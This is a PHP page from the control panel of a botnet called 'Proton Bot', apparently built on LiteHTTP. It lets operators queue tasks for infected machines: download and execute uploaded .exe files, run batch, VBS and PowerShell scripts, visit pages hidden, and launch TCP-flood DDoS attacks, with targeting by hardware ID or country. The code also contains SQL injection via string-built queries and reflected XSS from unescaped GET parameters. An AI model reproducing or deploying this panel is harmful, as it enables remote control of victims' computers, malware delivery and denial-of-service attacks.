<?php
$u = explode(":", $_SESSION['LiteHTTP']);
$username = $u[0];
$userperms = $odb->query("SELECT privileges FROM users WHERE username = '".$username."'")->fetchColumn(0);
include 'inc/stats.php';
include 'inc/localization.php'
?>

<script>
function localChecked(){
    checkBox = document.getElementById("localfile_checkbox");
    $('#localfile_uploadform').toggle();
    if(checkBox.checked==true){
        document.getElementById("taskparams").disabled = true;
    }
    else document.getElementById("taskparams").disabled = false;
}
function dexecuteOrNot(){
    task = document.getElementById("task");
    checkBox = document.getElementById("localfile_checkbox");
    if(task.value != "1"){
        checkBox.checked = false;
        $("#localfile_checkbox").hide();
        $("#localfile_label").hide();
        $("#localfile_uploadform").hide();
    }
    else{
        $("#localfile_checkbox").show();
        $("#localfile_label").show();
    }
}
</script>

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>Control Panel</title>
	<meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport'>
	<link href="css/bootstrap.min.css" rel="stylesheet" type="text/css" />
	<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" />
	<link href="css/ionicons.min.css" rel="stylesheet" type="text/css" />
	<link href="css/main.css" rel="stylesheet" type="text/css" />
	<link href="css/datatables/dataTables.bootstrap.css" rel="stylesheet" type="text/css" />
</head>
<body class="wysihtml5-supported skin-black fixed">
	<header class="header">
		<a href="?p=main" class="logo">
			Proton Bot
		</a>
		<nav class="navbar navbar-static-top" role="navigation">
			<div class="navbar-right">
            <ul class="nav navbar-nav">
                    <li>
                        <a href = "inc/localization.php?language=ENG">
                            <img src="img/flags/gb.png" alt="English">
						</a>
                    </li>
                    <li>
                        <a style="padding-left:0px" href = "inc/localization.php?language=RU">
                            <img src="img/flags/ru.png" alt="Русский">
                        </a>
                    </li>
					<li class="dropdown user user-menu">
						<a style="padding-left:0px" href="#" class="dropdown-toggle" data-toggle="dropdown">
							<i class="glyphicon glyphicon-user"></i>
							<span><?php echo $username; ?> <i class="caret"></i></span>
						</a>
						<ul class="dropdown-menu">
							<li class="user-footer">
								<div class="pull-left">
									<a href="?p=account" class="btn btn-default btn-flat"><?php print($pageText['editaccount'][0]); ?></a>
								</div>
								<div class="pull-right">
									<a href="?p=logout" class="btn btn-default btn-flat"><?php print($pageText['logout'][0]); ?></a>
								</div>
							</li>
						</ul>
					</li>
				</ul>
			</div>
		</nav>
	</header>
	<div class="wrapper row-offcanvas row-offcanvas-left">
		<aside class="left-side sidebar-offcanvas">
			<section class="sidebar">
				<ul class="sidebar-menu">
					<li>
						<a href="?p=main">
							<i class="fa fa-dashboard"></i> <span> <?php print($pageText['dashboard'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=bots">
							<i class="fa fa-list"></i> <span> <?php print($pageText['bots'][0]); ?> </span>
							<small id ="online-left-bar" class="badge pull-right bg-green">
    							<?php
        							echo $online;
                                ?>
                            </small>
						</a>
					</li>
					<li  class="active">
						<a href="?p=tasks">
							<i class="fa fa-bar-chart"></i> <span> <?php print($pageText['tasks'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=settings">
							<i class="fa fa-cog"></i> <span> <?php print($pageText['settings'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=users">
							<i class="fa fa-users"></i> <span> <?php print($pageText['users'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=logs">
							<i class="fa fa-list-alt"></i> <span> <?php print($pageText['logs'][0]); ?> </span>
						</a>
					</li>
					<li>
						<a href="?p=help">
							<i class="fa fa-question"></i> <span> <?php print($pageText['help'][0]); ?> </span>
						</a>
					</li>
				</ul>
			</section>
		</aside>
		<aside class="right-side">
			<section class="content">
				<div class="row">
					<div class="col-lg-12 col-xs-24">
						<?php
						if (isset($_GET['act']))
						{
							if (!isset($_GET['id']))
							{
								echo '<div class="alert alert-danger">'.$pageText['notaskidspecified'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
							}else{
								$act = $_GET['act'];
								$tid = $_GET['id'];
								if (ctype_digit($tid))
								{
									if (ctype_alnum($act))
									{
										$arr = array('pause', 'resume', 'restart', 'delete');
										if (in_array($act, $arr))
										{
											$cnt = $odb->prepare("SELECT COUNT(*) FROM tasks WHERE id = :i");
											$cnt->execute(array(":i" => $tid));
											if ($cnt->fetchColumn(0) > 0)
											{
												$cre = $odb->prepare("SELECT username FROM tasks WHERE id = :i");
												$cre->execute(array(":i" => $tid));
												$cr = $cre->fetchColumn(0);
												$cpermss = $odb->prepare("SELECT privileges FROM users WHERE username = :u");
												$cpermss->execute(array(":u" => $cr));
												$cperms = $cpermss->fetchColumn(0);
												if ($userperms == "moderator" && $cperms == "admin")
												{
													echo '<div class="alert alert-danger">'.$pageText['You cannot manage tasks created by administrators.'][0].'</div>';
												}else{
													if ($userperms == "user" && strtolower($cr) != strtolower($username))
													{
														echo '<div class="alert alert-danger">'.$pageText['You cannot manage tasks created by other users'][0].'</div>';
													}else{
														switch ($act)
														{
															case "pause":
																$up = $odb->prepare("UPDATE tasks SET status = '2' WHERE id = :i LIMIT 1");
																$up->execute(array(":i" => $tid));
																$in = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
																$in->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => 'Paused task #'.$tid));
																echo '<div class="alert alert-success">'.$pageText['taskpaused'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
																break;
															case "resume":
																$up = $odb->prepare("UPDATE tasks SET status = '1' WHERE id = :i LIMIT 1");
																$up->execute(array(":i" => $tid));
																$in = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
																$in->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => 'Resumed task #'.$tid));
																echo '<div class="alert alert-success">'.$pageText['taskresumed'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
																break;
															case "restart":
																$de = $odb->prepare("DELETE FROM tasks_completed WHERE taskid = :i");
																$de->execute(array(":i" => $tid));
																$in = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
																$in->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => 'Restarted task #'.$tid));
																echo '<div class="alert alert-success">'.$pageText['taskrestarted'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
																break;
															case "delete":
																$de = $odb->prepare("DELETE FROM tasks_completed WHERE taskid = :i");
																$de->execute(array(":i" => $tid));
																$da = $odb->prepare("DELETE FROM tasks WHERE id = :i");
																$da->execute(array(":i" => $tid));
																$in = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
																$in->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => 'Deleted task #'.$tid));
																echo '<div class="alert alert-success">'.$pageText['taskdeleted'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
																break;
														}
													}
												}
											}else{
												echo '<div class="alert alert-danger">'.$pageText['tasknotfound'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
											}
										}else{
											echo '<div class="alert alert-danger">'.$pageText['invalidtaskaction'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
										}
									}else{
										echo '<div class="alert alert-danger">'.$pageText['invalidtaskaction'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
									}
								}else{
									echo '<div class="alert alert-danger">'.$pageText['taskidnotdigit'][0].'</div><meta http-equiv="refresh" content="2;url=?p=tasks">';
								}
							}
						}
						if (isset($_POST['addTask']))
						{
                            $params = $_POST['params'];
                            $task = $_POST['task'];

                            if (is_uploaded_file($_FILES['myfile']['tmp_name'])) 
                            {
                                $currentDir = getcwd();
                                $uploadDirectory = "/uploads/";

                                $errors = []; // Store all foreseen and unforseen errors here

                                $fileExtensions = ['exe']; // Get all the file extensions

                                $fileName = $_FILES['myfile']['name'];
                                $fileSize = $_FILES['myfile']['size'];
                                $fileTmpName  = $_FILES['myfile']['tmp_name'];
                                $fileType = $_FILES['myfile']['type'];
                                $fileExtension = strtolower(end(explode('.',$fileName)));

                                $s = substr(str_shuffle(str_repeat("0123456789abcdefghijklmnopqrstuvwxyz", 10)), 0, 10);
                                
                                $webPath = "http://".$_SERVER[HTTP_HOST] . $uploadDirectory . $s . ".exe";
                                $uploadPath = $currentDir . $uploadDirectory . $s . ".exe";
                                if (! in_array($fileExtension,$fileExtensions)) {
                                    $errors[] = "This file extension is not allowed. Please upload a .EXE file";
                                }
                                if ($fileSize > 10000000) {
                                    $errors[] = "This file is more than 10MB. Sorry, it has to be less than or equal to 10MB";
                                }
                                if (empty($errors)) {
                                    $didUpload = move_uploaded_file($fileTmpName, $uploadPath);
                                    if ($didUpload) {
                                        $params = $webPath;
                                    } else {
                                        echo "An error occurred somewhere. Try again or contact the admin";
                                        die();
                                    }
                                } else {
                                    foreach ($errors as $error) {
                                        echo $error . "These are the errors" . "\n";
                                    }
                                    die();
                                }
                            }
							if ($params == "" || $params == NULL)
							{
								$params = "None";
							}
							$filters = $_POST['filter'];
							if ($filters == "" || $filters == NULL)
							{
								$filters = "None";
							}
							$exs = $_POST['execs'];
							if (ctype_digit($task))
							{
								if (ctype_digit($exs) || $exs == "" || $exs == NULL)
								{
									if ($exs == "" || $exs == NULL)
									{
										$exs = "unlimited";
									}
									if ($task == "9" || $task == "10")
									{
										if ($userperms != "admin")
										{
											echo '<div class="alert alert-danger">'.$pageText['nopermissionforcommand'][0].'</div>';
										}else{
											$i = $odb->prepare("INSERT INTO tasks VALUES(NULL, :t, :p, :f, :e, :u, '1', UNIX_TIMESTAMP())");
											$i->execute(array(":t" => $task, ":p" => $params, ":f" => $filters, ":e" => $exs, ":u" => $username));
											$i2 = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
											$i2->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => 'Created task #'.$odb->query("SELECT id FROM tasks ORDER BY id DESC LIMIT 1")->fetchColumn(0)));
											echo '<div class="alert alert-success">'.$pageText['taskscreated'][0].'</div><meta http-equiv="refresh" content="2">';
										}
									}else{
										$i = $odb->prepare("INSERT INTO tasks VALUES(NULL, :t, :p, :f, :e, :u, '1', UNIX_TIMESTAMP())");
										$i->execute(array(":t" => $task, ":p" => $params, ":f" => $filters, ":e" => $exs, ":u" => $username));
										$i2 = $odb->prepare("INSERT INTO plogs VALUES(NULL, :u, :ip, :r, UNIX_TIMESTAMP())");
										$i2->execute(array(":u" => $username, ":ip" => $_SERVER['REMOTE_ADDR'], ":r" => 'Created task #'.$odb->query("SELECT id FROM tasks ORDER BY id DESC LIMIT 1")->fetchColumn(0)));
										echo '<div class="alert alert-success">'.$pageText['taskscreated'][0].'</div><meta http-equiv="refresh" content="2">';
									}
								}else{
									echo '<div class="alert alert-danger">'.$pageText['invalidNumberOfExecutions'][0].'</div>';
								}
							}else{
								echo '<div class="alert alert-danger">'.$pageText['taskTypeNotDigit'][0].'</div>';
							}
						}
						?>
						<h4><?php print($pageText['currenttasks'][0]); ?></h4>
						<table id="currenttasks" class="table table-condensed table-bordered table-striped table-hover">
							<thead>
								<tr>
									<th>#</th>
									<th><?php print($pageText['creator'][0]); ?></th>
									<th><?php print($pageText['task'][0]); ?></th>
									<th><?php print($pageText['parameters'][0]); ?></th>
									<th><?php print($pageText['filters'][0]); ?></th>
									<th><?php print($pageText['executions'][0]); ?></th>
									<th><?php print($pageText['datecreated'][0]); ?></th>
									<th><?php print($pageText['status'][0]); ?></th>
									<th><?php print($pageText['actions'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								$tasks = $odb->query("SELECT * FROM tasks");
								while ($t = $tasks->fetch(PDO::FETCH_ASSOC))
								{
									$execs = $odb->prepare("SELECT COUNT(*) FROM tasks_completed WHERE taskid = :i");
									$execs->execute(array(":i" => $t['id']));
									$ex = $execs->fetchColumn(0);
									$tsk = "";
									switch ($t['task'])
									{
										case "1":
											$tsk = $pageText['dexecute'][0];
											break;
										case "2":
											$tsk = $pageText['visitwebpage'][0];
											break;
										case "3":
											$tsk = $pageText['visitwebpagehidden'][0];
											break;
										case "4":
											$tsk = $pageText['executebatchscript'][0];
											break;
										case "5":
											$tsk = $pageText['executevbsscript'][0];
											break;
										case "6":
											$tsk = $pageText['executehtmlscript'][0];
											break;
										case "7":
											$tsk = $pageText['executepwsscript'][0];
											break;
										case "8":
											$tsk = $pageText['setwallpaper'][0];
											break;
										case "9":
											$tsk = $pageText['update'][0];
											break;
										case "10":
											$tsk = $pageText['uninstall'][0];
											break;
										case "11":
											$tsk = "TCP-Flood";
											break;
									}
									$st = "";
									if ($t['status'] == "1")
									{
										if ($ex >= $t['executions'])
										{
											$st = '<small class="badge bg-green">'.$pageText['completed'][0].'</small>';
										}else{
											$st = '<small class="badge bg-yellow">'.$pageText['running'][0].'</small>';
										}
									}else{
										$st = '<small class="badge bg-red">'.$pageText['paused'][0].'</small>';
									}
									$actions = "<center>";
									if ($t['status'] == "1")
									{
										$actions .= '<a href="?p=tasks&id='.$t['id'].'&act=pause" title="'.$pageText['pausetask'][0].'"><i class="fa fa-pause"></i></a>&nbsp;';
									}else{
										$actions .= '<a href="?p=tasks&id='.$t['id'].'&act=resume" title="'.$pageText['resumetask'][0].'"><i class="fa fa-play"></i></a>&nbsp;';
									}
									if ($t['executions'] != "unlimited")
									{
										if ($ex == $t['executions'])
										{
											$actions .= '<a href="?p=tasks&id='.$t['id'].'&act=restart" title="'.$pageText['restarttask'][0].'"><i class="fa fa-undo"></i></a>&nbsp;';
										}
									}
									$actions .= '<a href="?p=tasks&id='.$t['id'].'&act=delete" title="'.$pageText['deletetask'][0].'"><i class="fa fa-times-circle"></i></a></center>';
									echo '<tr><td>'.$t['id'].'</td><td>'.$t['username'].'</td><td>'.$tsk.'</td><td>'.($t['params']).'</td><td>'.($t['filters']).'</td><td>'.$ex.'/'.$t['executions'].'</td><td data-order="'.$t['date'].'">'.date("m-d-Y, h:i A", $t['date']).'</td><td>'.$st.'</td><td>'.$actions.'</td></tr>';
								}
								?>
							</tbody>
						</table>
						<hr>
					</div>
					<div class="col-lg-6 col-xs-12">
						<div class="nav-tabs-custom">
							<div class="tab-content">
								<h4><?php print($pageText['newtask'][0]); ?></h4>
								<br>
								<form action="" method="POST" class="col-lg-8" enctype="multipart/form-data">
									<label><?php print($pageText['task'][0]); ?></label>
									<select id = "task" name="task" class="form-control" onchange="dexecuteOrNot()">
										<optgroup label=<?php print($pageText['downloads'][0]); ?>>
											<option value="1"><?php print($pageText['dexecute'][0]); ?></option>
										</optgroup>
										<optgroup label="DDoS">
											<option value="11">TCP-Flood</option>
										</optgroup>
										<optgroup label=<?php print($pageText['webpages'][0]); ?>>
											<option value="2"><?php print($pageText['visitwebpage'][0]); ?></option>
											<option value="3"> <?php print($pageText['visitwebpagehidden'][0]); ?></option>
										</optgroup>
										<optgroup label="<?php print($pageText['scriptexecution'][0]); ?>">
											<option value="4"><?php print($pageText['executebatchscript'][0]); ?></option>
											<option value="5"><?php print($pageText['executevbsscript'][0]); ?></option>
											<option value="6"><?php print($pageText['executehtmlscript'][0]); ?></option>
											<option value="7"><?php print($pageText['executepwsscript'][0]); ?></option>
										</optgroup>
										<optgroup label=<?php print($pageText['tricks'][0]); ?>>
											<option value="8"><?php print($pageText['setwallpaper'][0]); ?></option>
										</optgroup>
										<?php
										if ($userperms == "admin")
										{
											echo '<optgroup label="'.$pageText['botmanagement'][0].'">
													<option value="9">'.$pageText['update'][0].'</option>
													<option value="10">'.$pageText['uninstall'][0].'</option>
												</optgroup>';
										}
										?>
									</select>
                                    <input type="checkbox" id="localfile_checkbox" name="localfile_checkbox" onchange="localChecked()">
                                        <label for="localfile_checkbox" id = "localfile_label">
                                        Local file
                                        <br>
                                        </label>

                                    <label style="display:none" id="localfile_uploadform">
                                        <input type="file" name="myfile" id="fileToUpload">
                                    </label>
                                    <br>
									<label><?php print($pageText['parameters'][0]); ?></label>
									<input id = "taskparams" type="text" class="form-control" name="params" placeholder="<?php print($pageText['taskexample'][0]); ?>">
									<br>
									<label><?php print($pageText['filters'][0]); ?></label>
									<input id = "taskFilters" type="text" class="form-control" name="filter" placeholder="<?php print($pageText['Leave blank for no filter(s)'][0]); ?>">
									<br>
									<label><?php print($pageText['executions'][0]); ?></label>
									<input type="text" class="form-control" name="execs" placeholder="<?php print($pageText['Leave blank for unlimited'][0]); ?>">
									<br>
									<center><input type="submit" class="btn btn-success" name="addTask" value="<?php print($pageText['addtask'][0]); ?>"></center>
								</form>
								<div class="clearfix"></div>
							</div>
						</div>
					</div>
					<div class="col-lg-6 col-xs-12">
						<h2><?php print($pageText['help'][0]); ?></h2>
						<h4><b><?php print($pageText['dexecute'][0]); ?></b></h4>
						<p><?php print($pageText['dexecutedescription'][0]); ?></p>
						<hr style = "margin-top:0;margin-bottom:0">
						<h4><b>DDoS</b></h4>
						<b>• TCP-Flood</b>
						<p><?php print($pageText['tcpflood'][0]); ?></p>
						<!--
						<dt><b>• UDP-Flood</b></dt>
						<dd><p><?php /*print($pageText['udpflood'][0]); */?></p></dd>
						-->
						<hr style = "margin-top:0;margin-bottom:0">
						<h4><b><?php print($pageText['scriptexecution'][0]); ?></b></h4>
						<p><?php print($pageText['scripterdescription'][0]); ?></p>
						<hr style = "margin-top:0;margin-bottom:0">
						<h4><b><?php print($pageText['setwallpaper'][0]);?></b></h4>
						<p><?php print($pageText['setwallpaperdescription'][0]); ?></p>
					</div>
				</div>
			</section>
		</aside>
	</div>
    <?php
        // Если задание для 1 бота, прописать фильтры для него.
        if(isset($_GET['botid'])){
            echo("<script>document.getElementById(\"taskFilters\").value = \"hwid:".$_GET['botid'].";\";</script>");
		}
		// Если задание для страны, прописать фильтры для неё.
		if(isset($_GET['countryname'])){
            echo("<script>document.getElementById(\"taskFilters\").value = \"country:".strtolower($_GET['countryname']).";\";</script>");
        }
    ?>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/bootstrap.min.js" type="text/javascript"></script>
	<script src="js/jquery-ui.min.js" type="text/javascript"></script>
	<script src="js/plugins/datatables/jquery.dataTables.js" type="text/javascript"></script>
	<script src="js/plugins/datatables/dataTables.bootstrap.js" type="text/javascript"></script>
	<script type="text/javascript">
		$(document).ready(function() {
			$("#currenttasks").dataTable({
				"paging": false,
				"info": false,
				"filter": false,
				"order": [[6, "desc"]]
			});
		});
		$(document).ready(function() {
			setInterval(function () {
				$('#online-left-bar').load('../inc/jquery/online.php')
			}, 2000);
		});
	</script>

</body>
</html>